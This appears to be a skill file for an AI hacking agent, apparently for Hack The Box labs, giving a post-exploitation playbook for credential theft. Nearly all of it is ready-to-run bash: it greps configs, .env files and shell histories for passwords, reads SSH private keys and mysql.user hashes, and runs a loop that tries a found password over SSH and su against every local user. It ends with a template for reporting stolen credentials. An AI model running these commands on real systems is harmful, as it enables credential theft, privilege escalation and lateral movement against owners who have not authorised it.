Password Hunting

---
name: Password Hunting
description: |
  This skill should be used when you have shell access and need to find
  credentials for lateral movement or privilege escalation. Covers:
  - Grepping for passwords in config files
  - Common credential locations
  - Database extraction
  - History files and environment variables
version: 1.0.0
---

# Password Hunting Skill

## When to Use

**Use IMMEDIATELY after getting shell access when:**
- Need to escalate to another user
- Looking for service credentials
- Want to find database passwords
- Searching for SSH keys

## Quick Wins - Run These First

```bash
# Search for password strings in common locations
grep -rli "password" /var/www /opt /home /etc 2>/dev/null | head -20
grep -rli "passwd" /var/www /opt /home /etc 2>/dev/null | head -20
grep -rli "secret" /var/www /opt /home /etc 2>/dev/null | head -20

# Search for specific password patterns
grep -rEi "password\s*[=:]\s*['\"]?[^'\"]+['\"]?" /var/www /opt /home 2>/dev/null

# Check config files directly
cat /var/www/*/config*.php 2>/dev/null | grep -i pass
cat /var/www/*/.env 2>/dev/null
cat /opt/*/*.conf 2>/dev/null | grep -i pass
```

## Password Locations by Category

### Web Application Configs

```bash
# PHP Applications
find /var/www -name "config*.php" -exec grep -li password {} \; 2>/dev/null
find /var/www -name "settings*.php" -exec grep -li password {} \; 2>/dev/null
find /var/www -name "database*.php" -exec grep -li password {} \; 2>/dev/null
cat /var/www/*/wp-config.php 2>/dev/null  # WordPress
cat /var/www/*/configuration.php 2>/dev/null  # Joomla

# Environment files
find / -name ".env" 2>/dev/null
find / -name ".env.local" 2>/dev/null
find / -name "*.env" 2>/dev/null

# Python
find / -name "settings.py" -exec grep -li password {} \; 2>/dev/null
find / -name "config.py" -exec grep -li password {} \; 2>/dev/null

# Node.js
find / -name "config.json" 2>/dev/null | xargs grep -l password 2>/dev/null
```

### Service Configs

```bash
# Database configs
cat /etc/mysql/debian.cnf 2>/dev/null
cat /var/lib/mysql/mysql.cnf 2>/dev/null
cat /etc/postgresql/*/main/pg_hba.conf 2>/dev/null

# Web servers
cat /etc/apache2/sites-enabled/* 2>/dev/null | grep -i password
cat /etc/nginx/sites-enabled/* 2>/dev/null | grep -i password

# FTP servers
cat /etc/vsftpd.conf 2>/dev/null
cat /opt/*/CrushFTP*/users/*/user.xml 2>/dev/null  # CrushFTP!

# Application servers
cat /opt/tomcat*/conf/tomcat-users.xml 2>/dev/null
```

### User Files

```bash
# History files
cat ~/.bash_history 2>/dev/null | grep -iE "pass|secret|key|token"
cat /home/*/.bash_history 2>/dev/null | grep -iE "pass|secret|key|token"

# SSH
find /home -name "id_rsa" 2>/dev/null
find /root -name "id_rsa" 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null

# SSH config (may have passwords)
cat /home/*/.ssh/config 2>/dev/null

# RC files
grep -rli password /home/*/.*rc 2>/dev/null
cat /home/*/.netrc 2>/dev/null  # FTP creds
```

### Databases

```bash
# SQLite databases
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" 2>/dev/null

# Extract users from SQLite
sqlite3 /path/to/database.db "SELECT * FROM users;" 2>/dev/null
sqlite3 /path/to/database.db ".tables" 2>/dev/null

# MySQL (if we have creds)
mysql -u root -p -e "SELECT user,password FROM mysql.user;"

# Look for database dumps
find / -name "*.sql" 2>/dev/null | head -10
```

### Backup Files

```bash
# Common backup extensions
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null | head -20

# Config backups
find / -name "*.conf.bak" -o -name "*.php.bak" 2>/dev/null

# Zip/tar backups
find / -name "*.zip" -o -name "*.tar.gz" 2>/dev/null | head -10
```

## Pattern Matching for Passwords

```bash
# Generic password patterns
grep -rEi "password\s*[:=]\s*['\"]?.+['\"]?" /var/www /opt 2>/dev/null
grep -rEi "passwd\s*[:=]\s*['\"]?.+['\"]?" /var/www /opt 2>/dev/null
grep -rEi "pwd\s*[:=]\s*['\"]?.+['\"]?" /var/www /opt 2>/dev/null

# Database connection strings
grep -rEi "mysql.*password|password.*mysql" /var/www /opt 2>/dev/null
grep -rEi "pgsql.*password|password.*pgsql" /var/www /opt 2>/dev/null
grep -rEi "mongodb.*password|password.*mongodb" /var/www /opt 2>/dev/null

# API keys/tokens
grep -rEi "api[_-]?key\s*[:=]" /var/www /opt 2>/dev/null
grep -rEi "token\s*[:=]" /var/www /opt 2>/dev/null
grep -rEi "secret\s*[:=]" /var/www /opt 2>/dev/null
```

## Application-Specific

### WordPress
```bash
cat /var/www/*/wp-config.php | grep -E "DB_|AUTH_|LOGGED_IN_|NONCE_"
```

### Laravel/PHP
```bash
cat /var/www/*/.env | grep -E "DB_|APP_|MAIL_|AWS_"
```

### Django
```bash
grep -E "SECRET_KEY|DATABASE|PASSWORD" /var/www/*/settings.py
```

### CrushFTP (Common in HTB!)
```bash
# User configs with passwords
find /opt -path "*CrushFTP*" -name "user.xml" 2>/dev/null
cat /opt/crushftp/users/*/user.xml 2>/dev/null | grep -i password
```

## Password Reuse Testing

When you find a password:
```bash
PASSWORD="FoundPassword123"
USERS=$(cat /etc/passwd | grep -E "/bin/(ba)?sh" | cut -d: -f1)

# Test SSH
for user in $USERS; do
    echo "Trying $user..."
    sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no $user@localhost id 2>/dev/null && echo "SUCCESS: $user"
done

# Test su
for user in $USERS; do
    echo "$PASSWORD" | su - $user -c id 2>/dev/null && echo "SUCCESS: $user"
done
```

## Output Template

```markdown
# Password Hunt Results

## Credentials Found
| Username | Password | Source | Works On |
|----------|----------|--------|----------|
| admin | SuperSecret123 | /var/www/config.php | MySQL |
| ben | HouseH0ldings998 | /opt/app/.env | SSH, local |

## SSH Keys Found
| User | Location | Password Protected |
|------|----------|-------------------|
| root | /root/.ssh/id_rsa | No |
| ben | /home/ben/.ssh/id_rsa | Yes |

## Database Hashes
| Username | Hash | Type |
|----------|------|------|
| admin | $2y$10$... | bcrypt |

## Next Steps
1. Test found passwords on SSH
2. Crack extracted hashes
3. Use SSH keys for access
```